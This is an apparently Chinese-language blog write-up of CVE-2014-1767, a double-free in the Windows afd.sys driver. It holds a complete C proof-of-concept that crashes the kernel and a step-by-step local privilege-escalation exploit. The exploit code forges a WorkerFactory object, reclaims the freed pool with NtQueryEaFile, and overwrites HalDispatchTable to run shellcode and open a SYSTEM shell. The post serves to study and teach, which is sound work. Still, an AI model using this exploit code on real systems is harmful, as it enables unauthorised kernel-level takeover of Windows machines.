CVE-2014-1767 Windows AFD.sys內(nèi)核雙重釋放漏洞

一、基本分析

1.雙擊調(diào)試得到crash信息

省略配windbg+vmware+win7雙機(jī)調(diào)試的過(guò)程,其實(shí)也不是想象中那么難。
管理員權(quán)限啟動(dòng)設(shè)置好命令行參數(shù)的windbg快捷方式,windbg會(huì)自動(dòng)開(kāi)始連接被調(diào)試機(jī),并在int 3斷下,此時(shí)被調(diào)試機(jī)會(huì)卡住。

輸入g繼續(xù)運(yùn)行,并在虛擬機(jī)中點(diǎn)擊運(yùn)行poc.exe

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize=0x310;
    DWORD virtualAddress=0x13371337;
    DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1,0,sizeof(inbuf1));
    inbuf1[6]=virtualAddress;
    inbuf1[7]=mdlSize;
    inbuf1[10]=1;
    static DWORD inbuf2[100];
    memset(inbuf2,0,sizeof(inbuf2));
    inbuf2[0]=1;
    inbuf2[1]=0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2,&WSAData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    memset(&sa,0,sizeof(sa));
    sa.sin_port=htons(135);
    sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
    sa.sin_family=AF_INET;
    ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
    DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
    return 0;
}

等待windbg再次斷下,使用命令!analyze -v獲取dump文件的詳細(xì)信息:

可以看到崩潰的原因是重復(fù)釋放一塊已經(jīng)被釋放的內(nèi)存

其他的崩潰信息:

出問(wèn)題的是afd.sys模塊,漏洞的類(lèi)型為double free,free 的對(duì)象是Mdl,并且發(fā)生崩潰時(shí)存在這樣的調(diào)用關(guān)系:
afd!AfdTransmitPackets==> afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl

除此之外還需要分析:afd!AfdTransmitFile==>afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl這條調(diào)用鏈,雖然沒(méi)有顯示在crash的調(diào)用棧信息中,但這是poc中第一次調(diào)用DeviceIoControl時(shí)的free過(guò)程。

2. IO控制碼0x1207F——第一次free

poc中程序調(diào)用兩次DeviceIoControl,分別向IO控制碼0x1207F0x120C3發(fā)送數(shù)據(jù):

 DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
 DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);

在windbg中對(duì)nt!NtDeviceIoControlFile設(shè)置條件斷點(diǎn),使其在處理IO控制碼0x1207F時(shí)斷下。IO控制碼是NtDeviceIoControl第6個(gè)參數(shù),即esp+18,因此條件斷點(diǎn)命令為:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x1207F){}.else{gc;}"

1)afd!AfdTransmitFile

當(dāng)IO控制碼 IoControlCode=0x1207F 時(shí),afd 驅(qū)動(dòng)會(huì)調(diào)用 afd!AfdTransmitFile

afd!AfdTransmitFile()

根據(jù)之前的crash信息我們看到會(huì)執(zhí)行AfdTliGetTpInfo(),要想執(zhí)行到調(diào)用該函數(shù),需要滿(mǎn)足:
"v54 & 0xFFFFFFC8 ==0"
"v54 & 0x30 != 0x30"
"v54 & 0x30 != 0"

qmemcpy之后v45的內(nèi)容:


可以看到此時(shí)的v45的內(nèi)容正是我們調(diào)用DeviceIoControl時(shí)的參數(shù)inbuf1。而v54即inbuf1[10] 。
當(dāng)inbuf1滿(mǎn)足上述條件時(shí),AfdTransmitFile 會(huì)調(diào)用AfdTliGetTpInfo ( 3 )

2)AfdTliGetTpInfo

結(jié)合對(duì)AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo 的綜合
分析,得到tpinfo數(shù)據(jù)結(jié)構(gòu)的定義

AfdTliGetTpInfo調(diào)用ExAllocateFromNPagedLookasideList 從afd內(nèi)部使用的lookaside list中申請(qǐng)一個(gè)tpinfo結(jié)構(gòu)體


ExAllocateFromNPagedLookasideList

顯然這時(shí)候lookaside list為空,將調(diào)用AfdAllocateTpInfo分配一片空間:

AfdAllocateTpInfo

其中AfdInitializeTpInfo完成對(duì)申請(qǐng)得的tpinfo作相關(guān)初始化。程序從AfdTliGetTpInfo返回后返回值是一個(gè)tpinfo結(jié)構(gòu)體:

tpinfo

再之后程序會(huì)調(diào)用IoAllocateMdl申請(qǐng)一個(gè)mdl結(jié)構(gòu)體,參數(shù)virtualaddress和length是在poc中定義的inbuf1[6]、inbuf1[7]

顯然virtualaddress是我們隨便寫(xiě)的一個(gè)值,接著執(zhí)行MmProbeAndLockPages會(huì)觸發(fā)異常跳轉(zhuǎn)到AfdReturnTpInfo去執(zhí)行

3)AfdReturnTpInfo

可以看到此時(shí)調(diào)用AfdReturnTpInfo的參數(shù)正是之前AfdTliGetTpInfo申請(qǐng)到的tpinfo的地址

free了mdl結(jié)構(gòu)體之后沒(méi)有清零指針,造成了一個(gè)懸掛指針,存放在 tpInfo 中的 Mdl 指針并沒(méi)有清空,tpInfo 中 elemCount也維持原始值,未做改動(dòng),那么假設(shè)現(xiàn)在再對(duì)這個(gè)tpinfo調(diào)用一次 AfdReturnTpInfo ,則勢(shì)必會(huì)造成 double free。

之后會(huì)將tpinfo放入lookaside:


2. IO控制碼0x120C3——第二次free

第二次 DeviceIoControl,IoControlCode = 0x120C3, 將會(huì)調(diào)用AfdTransmitPackets
仍然先下一個(gè)條件斷點(diǎn):
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x120C3){}.else{gc;}"
斷下后繼續(xù)執(zhí)行到AfdTransmitPackets
poc中我們?cè)O(shè)定的inbuf2的內(nèi)容:

inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;

可以使程序執(zhí)行到AfdTliGetTpInfo



并且調(diào)用AfdTliGetTpInfo的參數(shù)是我們?cè)O(shè)置的0x0AAAAAAA
進(jìn)入AfdTliGetTpInfo執(zhí)行,先從looaside表中取出一個(gè)tpinfo:

正是之前放入lookaside存在野指針的那個(gè)tpinfo

繼續(xù)執(zhí)行,顯然參數(shù)0x0AAAAAAA>3會(huì)進(jìn)入if執(zhí)行


32位機(jī)器試圖分配0xfffffff0大小的內(nèi)存會(huì)失敗,觸發(fā)異常轉(zhuǎn)去執(zhí)行AfdReturnTpInfo

再次執(zhí)行到IoFreeMdl會(huì)再次釋放之前的那個(gè)mdl:

接下即crash系統(tǒng)崩潰。

二、漏洞利用

1. 思路

思路當(dāng)然都是別人的(X 。。X)
外文pdf以及我參照的這篇 [原創(chuàng)]CVE-2014-1767_Afd.sys_double-free_漏洞分析與利用

1)調(diào)用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
2)新建某個(gè)對(duì)象,使得這個(gè)對(duì)象恰好占據(jù)剛才被 free 掉的空間
3)調(diào)用 DeviceIoControl, IoControlCode =0x120c3,再次釋放,釋放掉
剛才新申請(qǐng)的對(duì)象
4)覆蓋被釋放掉的對(duì)象為可控?cái)?shù)據(jù)(偽造對(duì)象)*
5)嘗試調(diào)用能夠操作此對(duì)象的函數(shù),讓函數(shù)通過(guò)操作我們剛剛覆蓋的可控?cái)?shù)據(jù),實(shí)現(xiàn)一個(gè)內(nèi)核內(nèi)存寫(xiě)操作,這個(gè)寫(xiě)操作最理想的就是“任意地址寫(xiě)任意內(nèi)容”,這樣我們就可以覆寫(xiě) HalDispatchTable 的某個(gè)單元為我們 ShellCode 的地址,這樣就可以劫持一個(gè)內(nèi)核函
數(shù)調(diào)用
6)用戶(hù)層觸發(fā)剛剛被 Hook 的 HalDispatchTable 函數(shù),使得內(nèi)核執(zhí)行 shellcode,提權(quán)

耳目一新的思路,把一個(gè)double free愣是玩成了use after free,實(shí)質(zhì)就是借助double free兩次釋放的機(jī)會(huì)分別使用uaf,完成對(duì)一個(gè)對(duì)象內(nèi)容的修改來(lái)實(shí)現(xiàn)一個(gè)內(nèi)存寫(xiě)操作,然后進(jìn)行hook。

2. 選擇合適的對(duì)象

A)這個(gè)對(duì)象的大小要等于第一次被釋放的mdl內(nèi)存的大?。╱af)
B) 這個(gè)對(duì)象應(yīng)該有這樣一個(gè)操作函數(shù),這個(gè)函數(shù)能夠操作我們的惡意數(shù)據(jù),使得我們簡(jiǎn)介實(shí)現(xiàn)任意地址寫(xiě)任意內(nèi)容

經(jīng)過(guò)逆向,第一次釋放的是一個(gè)MDL對(duì)象,且MDL對(duì)象的大小是由VritualAddress和length共同決定的(IoAllocateMdl函數(shù)),而virtualAddress和length是由用戶(hù)控制的參數(shù),因此A)的要求就不必?fù)?dān)心了

pages = ((Length & 0xFFF) + (VirtualAddress & 0xF0xFFF)>>12 + (length>>12
freedSize = mdlSize = pages*sizeof(PVOID)+0x1c

接下來(lái)考慮B)的滿(mǎn)足,外文pdf里面提到了WorkerFactory。

不行了不行了跟不住了這篇太長(zhǎng)了


以及每次自己在外面只能吃到的炸過(guò)火炸干的炸混沌


3. WorkerFactory對(duì)象及方法

WorkerFactory對(duì)象存在一個(gè)函數(shù)NtSetInformationWorkerFactory,該函數(shù)位于
C:\windows\system32\ntoskrnl.exe中的sub_468875(idapython根據(jù)交叉引用和調(diào)用參數(shù)硬篩選出來(lái)的),不知道為為什么微軟官方?jīng)]有下到pdb。
(后來(lái)又下到了,可能是網(wǎng)絡(luò)的問(wèn)題???另外下下來(lái)之后名字是ntkrnlmp.pdb而非ntkrnl.pdb)

可以看到v12是由參數(shù)arg3決定的,而[object+0x10]處的地址也可以通過(guò)uaf修改,這樣就可以實(shí)現(xiàn)一次任意地址寫(xiě)入。

    *(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;// v12=arg3

我們可以設(shè)置*arg3 = ShellCode , (object+0x10)+0x1C == HalDispatchTable 某個(gè)單元

4.如何修改WorkerFactory對(duì)象的數(shù)據(jù)

前面的思路里說(shuō)到了在調(diào)用 DeviceIoControl, IoControlCode =0x120c3第二次釋放之后,再利用uaf申請(qǐng)一塊內(nèi)存實(shí)現(xiàn)修改WorkerFactory對(duì)象。只有實(shí)現(xiàn)了這一步我們才能利用上面的 ((*object+0x10)+0x1C) == *arg3 實(shí)現(xiàn)任意地址寫(xiě)任意內(nèi)容。

我們分析知道被釋放的 MDL 屬于 NonPagedPool,而用戶(hù)空間的 VirtualAlloc 并沒(méi)有能力為我們?cè)?NonPagedPool 上分配空間從而讓我們覆蓋我們的數(shù)據(jù)!這就又要采取類(lèi)似使用 NtSetInformationWorkerFactory 的方法,找那樣一個(gè) Nt*系列函數(shù),它的內(nèi)部操作能夠?yàn)槲覀兺瓿梢淮?ExAllocatePool 并且是 NonPagedPool,并且還有能復(fù)制我們的數(shù)據(jù)到它新申請(qǐng)的這個(gè)內(nèi)存中去!說(shuō)白了就是完成一次內(nèi)核 Alloc 并且 memcpy 的操作!會(huì)有這么完美的函數(shù)等著我們嘛?會(huì)是哪個(gè)?還是借助那篇 pdf 的思路,對(duì)就是NtQueryEaFile !

其中EaListLength和EaList都是可控的參數(shù):

NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, 
                                  PIO_STATUS_BLOCK IoStatusBlock, 
                                  PFILE_FULL_EA_INFORMATION Buffer, 
                                  ULONG BufferLength, 
                                  BOOLEAN ReturnSingleEntry, 
                                  PFILE_GET_EA_INFORMATION EaList, 
                                  ULONG EaListLength, 
                                  PULONG EaIndex, 
                                  BOOLEAN RestartScan)

還有一個(gè)坑,這里使用的是ExxAllocatePoolWithQuotaTag而不是ExAllocatePoolWithTag,二者的差別在于申請(qǐng)的內(nèi)存字節(jié)數(shù)上,對(duì)ExxAllocatePoolWithQuotaTag其內(nèi)部是調(diào)用的是

ExAllocatePoolWithTag(PoolType, length+4, tag)

因此使用 NtQueryEaFile 時(shí)候,字節(jié)數(shù)=EaLength=objSize-0x4 才可以正常利用堆緩沖機(jī)制使得申請(qǐng)的內(nèi)存正好占據(jù)原本對(duì)象的空間。

以及NtQueryEaFile函數(shù)之后會(huì)把分配的內(nèi)存釋放掉,不過(guò)除了堆頭部那些東西剩下的數(shù)據(jù)不會(huì)改變,不會(huì)影響到我們接下來(lái)的利用。

到這里真的對(duì)想出漏洞利用方法的人五體投地,也意識(shí)到自己的局限和漫長(zhǎng)的道路??梢钥吹角懊嫔婕暗搅撕芏嗬淦У膚indows函數(shù),類(lèi),以及對(duì)windows內(nèi)核函數(shù)的逆向,真的是一個(gè)很長(zhǎng)的積累的過(guò)程。

5.偽造WorkerFactory對(duì)象

之前使用uaf利用方法的前提是申請(qǐng)的內(nèi)存大小要與WorkerFactory對(duì)象一致,那么該對(duì)象的大小是多少呢?
根據(jù)NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->
ExAllocatePoolWithTag得到對(duì)象大小位0xA0

現(xiàn)在已經(jīng)可以利用第二次調(diào)用DeviceIoControl,并利用uaf的方法修改WorkerFactory對(duì)象的內(nèi)存數(shù)據(jù)。為了保證之后調(diào)用其方法函數(shù)時(shí)不會(huì)出奇怪的錯(cuò)誤,需要考慮對(duì)象原本的數(shù)據(jù)結(jié)構(gòu)
取巧的方法就是直接把正常對(duì)象的頭部復(fù)制過(guò)來(lái)

6. EXP

1)首先第一次釋放,通過(guò)WorkerFactory對(duì)象的大小0xa0反推inbuf1中的length參數(shù),保證二者大小一致,滿(mǎn)足uaf的條件
const DWORD FakeObjSize = 0xA0 ;
DWORD mdlSize = FakeObjSize ;
DWORD virtualAddress = 0x710DDDD ;
DWORD length = ((mdlSize - 0x1C)/4 - (virtualAddress%4 ? 1:0))*0x1000 ;

static BYTE inbuf1[0x30] ;
memset(inbuf1, 0, sizeof(inbuf1)) ;
*(ULONG*)(inbuf1+0x18)  = virtualAddress ;
*(ULONG*)(inbuf1+0x1C)  = length ;
*(ULONG*)(inbuf1+0x28)  = 1 ;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
2)接著創(chuàng)建一個(gè)WorkerFactory對(duì)象:
HANDLE hCompletionPort = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 1337, 4) ;
 
LONG ntStatus = fpCreateWorkerFactory( &hWorkerFactory, 
                                           GENERIC_ALL, 
                                           NULL,
                                           hCompletionPort,
                                           (HANDLE)-1,
                                           NULL,
                                           NULL,
                                           0,
                                           0,
                                           0 );
printf("hWorkerFactory: %p\n", hWorkerFactory) ;

此時(shí)WorkerFactory對(duì)象將會(huì)被分配到之前釋放的位置。

3)然后第二次釋放,
static BYTE inbuf2[0x10] ;
memset(inbuf2, 0, sizeof(inbuf2)) ;
*(ULONG*)inbuf2    = 1 ;
*(ULONG*)(inbuf2+4)= 0x0AAAAAAA ;
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
4)偽造對(duì)象并拷貝到原本W(wǎng)orkerFactory對(duì)象的位置

首先偽造對(duì)象:

IO_STATUS_BLOCK IoStatus ;
static BYTE FakeWorkerFactory[FakeObjSize] ;
memset(FakeWorkerFactory, 0, FakeObjSize) ;
    
static BYTE ObjHead [0x28] = { 0x00, 0x00, 0x00, 0x00, 0xa8, 0x00, 0x00, 0x00,    // 0xa8 == NonPagedPoolCharge
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
   /* objHeader --> +0x10 */   0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,    // pointer count, handle count
                               0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,    // 0x16 == typeIndex
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } ; // ObReferenceObjectByHandle FAIL
        /* objBody   --> +0x28 */
memcpy(FakeWorkerFactory, ObjHead, 0x28) ;

static BYTE  a[0x14] ;
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory+0x28) ;

    // Init fakeObj to prepare data for DWORD WRITE on HalDispatchTable in NtSetInfomationWorkerFactory
*pFakeObj = a ;
*(PVOID*)(a+0x10) = (PVOID)(((ULONG_PTR)kHalDsipatchTable+sizeof(PVOID)) - 0x1C) ;

使用NtQueryEaFile再次申請(qǐng)一塊內(nèi)存:

fpQueryEaFile = (PNtQueryEaFile)GetProcAddress(hNtdll, "ZwQueryEaFile");
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize-0x04, NULL, FALSE) ;
5)dword write to HalDispatchTable

通過(guò)HalDispathTable利用任意地址寫(xiě)漏洞來(lái)hook到shellcode的方法參見(jiàn):
windows kernel exploitation基礎(chǔ)教程 – P3nro5e

static PULONG ShotAddress = (PULONG)ShellCode ;
fpSetInformationWorkerFactory(hWorkerFactory, 8, &ShotAddress, sizeof(PVOID)) ;
    
// Trigger from user mode 觸發(fā)?。?ULONG Interval ;
fpQueryIntervalProfile(2, &Interval) ;
    
// System Shell
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);

END.

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容